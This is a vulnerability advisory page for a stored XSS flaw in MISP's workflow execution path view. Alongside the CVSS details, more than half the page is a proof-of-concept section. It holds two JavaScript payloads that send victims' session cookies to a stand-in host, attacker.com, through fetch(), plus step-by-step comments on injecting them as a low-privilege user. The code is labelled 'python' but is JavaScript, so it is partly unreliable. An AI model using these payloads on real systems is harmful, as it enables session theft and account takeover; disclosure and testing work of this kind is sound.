In MISP before 2.5.28, app/View/Elements/Workflows/executionPath.ctp allows XSS in the workflow execution path.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Configurations (Affected Products)
cpe:2.3:a:misp:misp:*:*:*:*:*:*:*:* - VULNERABLE
MISP < 2.5.28
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-67906 PoC - Stored XSS in MISP Workflow executionPath
// This PoC demonstrates the XSS vulnerability in MISP before 2.5.28
// Target: MISP instance < 2.5.28
// Step 1: Create a malicious workflow with XSS payload
const payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';
// Step 2: Inject payload into workflow execution path field
// The payload will be stored and executed when viewed by other users
// Alternative payload using event handler:
const altPayload = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">';
// Attack flow:
// 1. Attacker with low privileges creates/edits workflow
// 2. In execution path field, inject malicious JavaScript
// 3. When other users view the workflow, XSS executes in their browser
// 4. Attacker steals session cookies or performs actions on behalf of victim